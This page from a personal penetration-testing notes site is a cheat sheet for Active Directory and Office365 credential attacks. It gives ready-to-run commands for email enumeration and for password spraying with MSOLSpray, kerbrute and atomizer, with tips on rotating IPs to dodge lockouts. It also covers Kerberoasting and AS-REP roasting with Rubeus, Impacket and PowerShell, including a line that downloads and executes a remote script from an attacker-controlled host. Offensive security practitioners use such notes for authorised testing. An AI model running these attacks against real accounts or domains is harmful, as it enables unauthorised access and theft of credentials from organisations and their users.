xct's notes
Search…
Spraying & Roasting

Azure / Office365

Search for emails, based on tech stack, default usernames, OSINT information etc., then enumerate which ones are valid with https://github.com/LMGsec/o365creeper . This does not cause logs to be written or lockouts to be triggered, so it is pretty safe to do.
Use https://github.com/dafthack/MSOLSpray to Spray vs Office365. To not get banned by microsoft, using https://github.com/ustayready/fireprox as described on the MSOLSpray repo is advised, which will use an AWS API Gateway to rotate the IPs you are accessing from. An incrementing time based lockout occurs after 10 attempts per account, so be careful.
Ideally this will result in at least 1 valid user account.

Kerbrute

1
kerbrute passwordspray -d domain.local --dc dcip users.txt <password to spray>
Copied!

OWA

1
atomizer.py owa mail.domain.local <password to spray> -emails.txt
Copied!

Kerberoast

Make sure your time + timezone and the targets time are in sync, kerberos is very time sensitive. You can view the time on windows with tzdate /g or on Linux rdate -n <targetip>

Covenant

1
Rubeus kerberoast /format:hashcat
Copied!

Impacket

1
GetUserSPNs.py <domain>/<username>:<password> -outputfile <outfile>
Copied!

Native

1
Add-Type -AssemblyName System.IdentityModel
2
setspn.exe -T <domain> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
Copied!

PowerSploit

1
powershell.exe -Command 'IEX (New-Object Net.Webclient).DownloadString("http://<ip>:<port>/Invoke-Kerberoast.ps1");Invoke-Kerberoast -OutputFormat Hashcat
Copied!

ASREPRoast

Without credentials for a list of users:
1
GetNPUsers.py <domain>/ -usersfile users.txt -format hashcat -outputfile <outfile> -dc-ip <>
Copied!
With credentials for all users:
1
GetNPUsers.py <domain>/<username>:<password> -request -format hashcat -outputfile <outfile>
Copied!
Last modified 9mo ago